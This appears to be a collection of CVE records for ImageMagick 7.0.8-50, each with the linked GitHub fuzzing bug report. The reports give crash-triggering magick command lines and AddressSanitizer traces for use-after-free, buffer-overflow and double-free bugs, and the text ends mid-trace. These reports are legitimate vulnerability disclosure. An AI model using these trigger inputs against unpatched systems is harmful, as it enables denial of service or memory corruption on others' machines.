ImageMagick 7.0.8-50 Q16 has memory leaks in AcquireMagickMemory because of an AnnotateImage error.

https://github.com/ImageMagick/ImageMagick/issues/1589

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There are a heap-use-after-free(sometimes heap-buffer-overflow) vulnerability in MagickCore/resize.c:2604:28 in .omp_outlined._debug__.69 and a double-free bug in RelinquishAlignedMemory MagickCore/memory.c:1037:3 with the same input. For each run, different bugs are triggered so please run the command for several times. related: [#1344](https://github.com/ImageMagick/ImageMagick/issues/1344) ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick -seed 0 -black-point-compensation -units Undefined "(" magick:granite -opaque "rgb(224,28,104)" -gaussian-blur 2 -strip ")" "(" magick:rose -black-threshold 15 -preview Despeckle ")" -density 3x83 -stretch ExtraCondensed -copy "937x560ls" "-52-59" ""` This is about Heap-use-after-free in .omp_outlined._debug__.69 MagickCore/resize.c:2604:28 ``` ==26215==ERROR: AddressSanitizer: heap-use-after-free on address 0x62800000036c at pc 0x000000efe4dc bp 0x7f637b304e90 sp 0x7f637b304e88 READ of size 4 at 0x62800000036c thread T1 #0 0xefe4db in .omp_outlined._debug__.69 MagickCore/resize.c:2604:28 #1 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #2 0x7f6383e13452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7f6383dcd1b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7f6383dcbb20 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x34b20) #5 0x7f6383e0b417 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x74417) #6 0x7f63864476da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #7 0x7f63838af88e in clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) 0x62800000036c is located 620 bytes inside of 14400-byte region [0x628000000100,0x628000003940) freed by thread T2 here: #0 0x4ef768 in __interceptor_free (install/bin/magick+0x4ef768) #1 0x583e5c in RelinquishAlignedMemory MagickCore/memory.c:1037:3 #2 0xafe7c6 in RelinquishCacheNexusPixels MagickCore/cache.c:1089:12 #3 0xb0d5db in SetPixelCacheNexusPixels MagickCore/cache.c:5080:9 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0xefd9e9 in .omp_outlined._debug__.69 MagickCore/resize.c:2542:7 #7 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #8 0x7f6383e13452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7f6383dcd1b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) previously allocated by thread T1 here: #0 0x4f09b0 in __interceptor_posix_memalign (install/bin/magick+0x4f09b0) #1 0x5822fa in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0xb24539 in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0xb0d587 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0xefd9e9 in .omp_outlined._debug__.69 MagickCore/resize.c:2542:7 #7 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #8 0x7f6383e13452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7f6383dcd1b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) Thread T1 created by T0 here: #0 0x43fcd0 in pthread_create (install/bin/magick+0x43fcd0) #1 0x7f6383e09110 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x72110) Thread T2 created by T0 here: #0 0x43fcd0 in pthread_create (install/bin/magick+0x43fcd0) #1 0x7f6383e09110 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x72110) SUMMARY: AddressSanitizer: heap-use-after-free MagickCore/resize.c:2604:28 in .omp_outlined._debug__.69 ``` This is about the heap-buffer-overflow in .omp_outlined._debug__.69 MagickCore/resize.c:2604 ``` ==26841==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00001d670 at pc 0x000000efe4dc bp 0x7f78c5104e90 sp 0x7f78c5104e88 READ of size 4 at 0x61d00001d670 thread T1 #0 0xefe4db in .omp_outlined._debug__.69 MagickCore/resize.c:2604:28 #1 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #2 0x7f78cdc28452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7f78cdbe21b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7f78cdbe0b20 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x34b20) #5 0x7f78cdc20417 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x74417) #6 0x7f78d025c6da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #7 0x7f78cd6c488e in clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) Address 0x61d00001d670 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/resize.c:2604:28 in .omp_outlined._debug__.69 ``` This is about double-free bug in RelinquishAlignedMemory of MagickCore/memory.c:1037:3 ``` ==26601==ERROR: AddressSanitizer: attempting double-free on 0x61d00001fe80 in thread T1: #0 0x4ef768 in __interceptor_free (install/bin/magick+0x4ef768) #1 0x583e5c in RelinquishAlignedMemory MagickCore/memory.c:1037:3 #2 0xafe7c6 in RelinquishCacheNexusPixels MagickCore/cache.c:1089:12 #3 0xb0d5db in SetPixelCacheNexusPixels MagickCore/cache.c:5080:9 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0xefd9e9 in .omp_outlined._debug__.69 MagickCore/resize.c:2542:7 #7 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #8 0x7fed18cb6452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7fed18c701b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #10 0x7fed18c6eb20 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x34b20) #11 0x7fed18cae417 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x74417) #12 0x7fed1b2ea6da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #13 0x7fed1875288e in clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) 0x61d00001fe80 is located 0 bytes inside of 2240-byte region [0x61d00001fe80,0x61d000020740) freed by thread T2 here: #0 0x4ef768 in __interceptor_free (install/bin/magick+0x4ef768) #1 0x583e5c in RelinquishAlignedMemory MagickCore/memory.c:1037:3 #2 0xafe7c6 in RelinquishCacheNexusPixels MagickCore/cache.c:1089:12 #3 0xb0d5db in SetPixelCacheNexusPixels MagickCore/cache.c:5080:9 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0xefd9e9 in .omp_outlined._debug__.69 MagickCore/resize.c:2542:7 #7 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #8 0x7fed18cb6452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7fed18c701b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) previously allocated by thread T1 here: #0 0x4f09b0 in __interceptor_posix_memalign (install/bin/magick+0x4f09b0) #1 0x5822fa in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0xb24539 in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0xb0d587 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0xefd9e9 in .omp_outlined._debug__.69 MagickCore/resize.c:2542:7 #7 0xeff106 in .omp_outlined..70 MagickCore/resize.c:2488:3 #8 0x7fed18cb6452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7fed18c701b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) Thread T1 created by T0 here: #0 0x43fcd0 in pthread_create (install/bin/magick+0x43fcd0) #1 0x7fed18cac110 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x72110) Thread T2 created by T0 here: #0 0x43fcd0 in pthread_create (install/bin/magick+0x43fcd0) #1 0x7fed18cac110 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x72110) SUMMARY: AddressSanitizer: double-free (install/bin/magick+0x4ef768) in __interceptor_free ==26601==ABORTING ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-10 - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 <!-- Thanks for reporting the issue to ImageMagick! -->

heap-use-after-free in MagickCore/resize.c and double-free in RelinquishAlignedMemory of MagickCore/memory.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1589/comments

2019-06-11T05:31:32Z

2019-07-09T13:21:32Z

https://github.com/ImageMagick/ImageMagick/issues/1589

CVE-2019-13302

2019-07-05T01:15:10.373

ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read in MagickCore/fourier.c in ComplexImages.

https://github.com/ImageMagick/ImageMagick/issues/1597

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow in MagickCore/fourier.c:305:45 in ComplexImages. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -treedepth 71 "(" magick:logo +repage ")" "(" magick:granite -white-threshold 0% -cycle 256 -lat 815 ")" -bordercolor rgb"("101,151,20")" -blue-primary 638,241 -print "0O." -complex multiply tmp ` Second one also can trigger. cmd: `magick -seed 0 "(" magick:logo +repage ")" "(" magick:logo +repage ")" -render -size 2872 -complex multiply -quiet tmp ` Here's ASAN result. ``` ==16842==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61e000000a80 at pc 0x7fea5bb0c52f bp 0x7fff5c11c590 sp 0x7fff5c11c588 READ of size 4 at 0x61e000000a80 thread T0 #0 0x7fea5bb0c52e in ComplexImages MagickCore/fourier.c:305:45 #1 0x7fea5b3328c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #2 0x7fea5b33e34e in CLIOption MagickWand/operation.c:5276:14 #3 0x7fea5b17fa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #4 0x7fea5b180d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #5 0x7fea5b1caba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #6 0x526f95 in MagickMain utilities/magick.c:149:10 #7 0x5268e1 in main utilities/magick.c:180:10 #8 0x7fea55c41b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b069 in _start (install/bin/magick+0x41b069) 0x61e000000a80 is located 0 bytes to the right of 2560-byte region [0x61e000000080,0x61e000000a80) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fea5bbb9666 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fea5b910d5c in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0x7fea5b8fe1c4 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12 #4 0x7fea5b8f5b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0x7fea5b913f36 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0x7fea5bb0ae5d in ComplexImages MagickCore/fourier.c:250:8 #7 0x7fea5b3328c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #8 0x7fea5b33e34e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fea5b17fa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fea5b180d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fea5b1caba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fea55c41b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/fourier.c:305:45 in ComplexImages ``` Here's the ASAN result for second cmd ``` ==16863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f2a0831b800 at pc 0x7f2a1747e649 bp 0x7ffd7c094350 sp 0x7ffd7c094348 WRITE of size 4 at 0x7f2a0831b800 thread T0 #0 0x7f2a1747e648 in ComplexImages MagickCore/fourier.c:305:18 #1 0x7f2a16ca48c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #2 0x7f2a16cb034e in CLIOption MagickWand/operation.c:5276:14 #3 0x7f2a16af1a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #4 0x7f2a16af2d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #5 0x7f2a16b3cba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #6 0x526f95 in MagickMain utilities/magick.c:149:10 #7 0x5268e1 in main utilities/magick.c:180:10 #8 0x7f2a115b3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b069 in _start (install/bin/magick+0x41b069) 0x7f2a0831b800 is located 0 bytes to the right of 3686400-byte region [0x7f2a07f97800,0x7f2a0831b800) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f2a1752b666 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f2a172746ac in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7f2a1727a991 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7f2a17280c59 in SyncImagePixelCache MagickCore/cache.c:5494:28 #5 0x7f2a174defc1 in SetImageStorageClass MagickCore/image.c:2627:10 #6 0x7f2a1747c4f7 in ComplexImages MagickCore/fourier.c:185:7 #7 0x7f2a16ca48c1 in CLIListOperatorImages MagickWand/operation.c:3890:22 #8 0x7f2a16cb034e in CLIOption MagickWand/operation.c:5276:14 #9 0x7f2a16af1a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f2a16af2d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f2a16b3cba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f2a115b3b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/fourier.c:305:18 in ComplexImages ``` Thanks. ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-17 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in MagickCore/fourier.c:305:45 in ComplexImages

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1597/comments

2019-06-17T03:51:17Z

2019-07-08T01:50:56Z

https://github.com/ImageMagick/ImageMagick/issues/1597

CVE-2019-13303

2019-07-05T01:15:10.437

ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read in MagickCore/composite.c in CompositeImage.

https://github.com/ImageMagick/ImageMagick/issues/1603

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage. I compiled ImageMagick with --disable-openmp option. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -sampling-factor 3.307x3.198 "(" magick:granite +repage ")" "(" magick:rose +repage ")" "(" magick:rose +repage ")" -encoding AdobeStandard -extract 285x52^-70-70 -region 75x310-64-51 -evaluate-sequence Min -layers compare-overlay tmp` and run this cmd: `magick -seed 0 "(" magick:logo -region 306%-74-69 -lat 886 ")" "(" magick:netscape -level 64 ")" "(" magick:granite -opaque rgb"("12,57,57")" -modulate 94,59,3 -frame 4%-82+23 ")" -comment "B>%C%o" -style Any -layers compare-any tmp` Here's ASAN result. ``` ==5479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000008900 at pc 0x7f9c528f0e7d bp 0x7ffd8cc41710 sp 0x7ffd8cc41708 READ of size 4 at 0x626000008900 thread T0 #0 0x7f9c528f0e7c in CompositeImage MagickCore/composite.c:666:45 #1 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10 #2 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26 #3 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14 #4 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #5 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #6 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #7 0x526f95 in MagickMain utilities/magick.c:149:10 #8 0x5268e1 in main utilities/magick.c:180:10 #9 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x41b069 in _start (install/bin/magick+0x41b069) 0x626000008900 is located 0 bytes to the right of 10240-byte region [0x626000006100,0x626000008900) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f9c52b54f66 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f9c528abd5c in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0x7f9c528991c4 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12 #4 0x7f9c52890b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0x7f9c528aef36 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0x7f9c528f0bae in CompositeImage MagickCore/composite.c:637:11 #7 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10 #8 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26 #9 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14 #10 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/composite.c:666:45 in CompositeImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-18 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1603/comments

2019-06-18T17:08:25Z

2019-07-08T01:51:18Z

https://github.com/ImageMagick/ImageMagick/issues/1603

CVE-2019-13304

2019-07-05T01:15:10.500

ImageMagick 7.0.8-50 Q16 has a stack-based buffer overflow at coders/pnm.c in WritePNMImage because of a misplaced assignment.

https://github.com/ImageMagick/ImageMagick/issues/1614

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a stack buffer overflow at coders/pnm.c:1762 in WritePNMImage. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -render "(" magick:rose -sample 846x913^+16+22 -white-threshold 112 ")" -compress None -adjoin tmp` Here's ASAN log. ``` ================================================================= ==9828==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc293daa0 at pc 0x7f71ad7e3477 bp 0x7ffcc293a0f0 sp 0x7ffcc293a0e8 WRITE of size 1 at 0x7ffcc293daa0 thread T0 #0 0x7f71ad7e3476 in WritePNMImage coders/pnm.c:1762:21 #1 0x7f71ad07c065 in WriteImage MagickCore/constitute.c:1159:16 #2 0x7f71ad07cf8c in WriteImages MagickCore/constitute.c:1376:13 #3 0x7f71aca4050d in CLINoImageOperator MagickWand/operation.c:4796:14 #4 0x7f71aca441cc in CLIOption MagickWand/operation.c:5258:7 #5 0x7f71ac885f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3 #6 0x7f71ac886d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #7 0x7f71ac8d0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #8 0x526f95 in MagickMain utilities/magick.c:149:10 #9 0x5268e1 in main utilities/magick.c:180:10 #10 0x7f71a7347b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x41b069 in _start (install/bin/magick+0x41b069) Address 0x7ffcc293daa0 is located in stack of thread T0 at offset 14752 in frame #0 0x7f71ad7e1daf in WritePNMImage coders/pnm.c:1522 This frame has 6 object(s): [32, 4128) 'buffer' (line 1523) [4256, 8352) 'magick' (line 1523) [8480, 12576) 'type117' (line 1675) [12704, 14752) 'pixels' (line 1736) <== Memory access at offset 14752 overflows this variable [14880, 16928) 'pixels255' (line 1788) [17056, 19104) 'pixels381' (line 1857) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1762:21 in WritePNMImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

stack-buffer-overflow at coders/pnm.c:1762 in WritePNMImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1614/comments

2019-06-21T06:36:50Z

2019-08-10T11:27:40Z

https://github.com/ImageMagick/ImageMagick/issues/1614

CVE-2019-13305

2019-07-05T01:15:10.563

ImageMagick 7.0.8-50 Q16 has a stack-based buffer overflow at coders/pnm.c in WritePNMImage because of a misplaced strncpy and an off-by-one error.

https://github.com/ImageMagick/ImageMagick/issues/1613

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a stack-buffer-overflow at coders/pnm.c:1906 in WritePNMImage. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -undercolor rgb"("67,255,32")" -compress None "(" magick:rose -solarize 1% ")" "(" magick:logo +repage ")" -size 2338x1505+3581 -print "" tmp` Here's ASAN log. ``` ================================================================= ==25473==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe4120cba0 at pc 0x7f1d07f024d8 bp 0x7ffe412080f0 sp 0x7ffe412080e8 WRITE of size 1 at 0x7ffe4120cba0 thread T0 #0 0x7f1d07f024d7 in WritePNMImage coders/pnm.c:1906:21 #1 0x7f1d0779a065 in WriteImage MagickCore/constitute.c:1159:16 #2 0x7f1d0779af8c in WriteImages MagickCore/constitute.c:1376:13 #3 0x7f1d0715e50d in CLINoImageOperator MagickWand/operation.c:4796:14 #4 0x7f1d071621cc in CLIOption MagickWand/operation.c:5258:7 #5 0x7f1d06fa3f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3 #6 0x7f1d06fa4d0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #7 0x7f1d06feeba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #8 0x526f95 in MagickMain utilities/magick.c:149:10 #9 0x5268e1 in main utilities/magick.c:180:10 #10 0x7f1d01a65b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #11 0x41b069 in _start (install/bin/magick+0x41b069) Address 0x7ffe4120cba0 is located in stack of thread T0 at offset 19104 in frame #0 0x7f1d07effdaf in WritePNMImage coders/pnm.c:1522 This frame has 6 object(s): [32, 4128) 'buffer' (line 1523) [4256, 8352) 'magick' (line 1523) [8480, 12576) 'type117' (line 1675) [12704, 14752) 'pixels' (line 1736) [14880, 16928) 'pixels255' (line 1788) [17056, 19104) 'pixels381' (line 1857) <== Memory access at offset 19104 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1906:21 in WritePNMImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

stack-buffer-overflow at coders/pnm.c:1906 in WritePNMImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1613/comments

2019-06-21T06:23:44Z

2019-07-08T01:52:06Z

https://github.com/ImageMagick/ImageMagick/issues/1613

CVE-2019-13306

2019-07-05T01:15:10.623

ImageMagick 7.0.8-50 Q16 has a stack-based buffer overflow at coders/pnm.c in WritePNMImage because of off-by-one errors.

https://github.com/ImageMagick/ImageMagick/issues/1612

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a stack-buffer-overflow at coders/pnm.c:1902 in WritePNMImage. I think this is related with [#1540](https://github.com/ImageMagick/ImageMagick/issues/1540), but it was heap and this issue is about the stack buffer overflow. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 -dispose Previous -compress None "(" magick:rose +repage ")" "(" magick:logo -level 64,0%,0.874 ")" -loop 5 tmp` Here's ASAN log. ``` ==12131==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc7100b060 at pc 0x0000004477c4 bp 0x7ffc710065b0 sp 0x7ffc71005d60 WRITE of size 10 at 0x7ffc7100b060 thread T0 #0 0x4477c3 in strncpy (install/bin/magick+0x4477c3) #1 0x7f1cca22b433 in WritePNMImage coders/pnm.c:1902:20 #2 0x7f1cc9ac3065 in WriteImage MagickCore/constitute.c:1159:16 #3 0x7f1cc9ac3f8c in WriteImages MagickCore/constitute.c:1376:13 #4 0x7f1cc948750d in CLINoImageOperator MagickWand/operation.c:4796:14 #5 0x7f1cc948b1cc in CLIOption MagickWand/operation.c:5258:7 #6 0x7f1cc92ccf6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3 #7 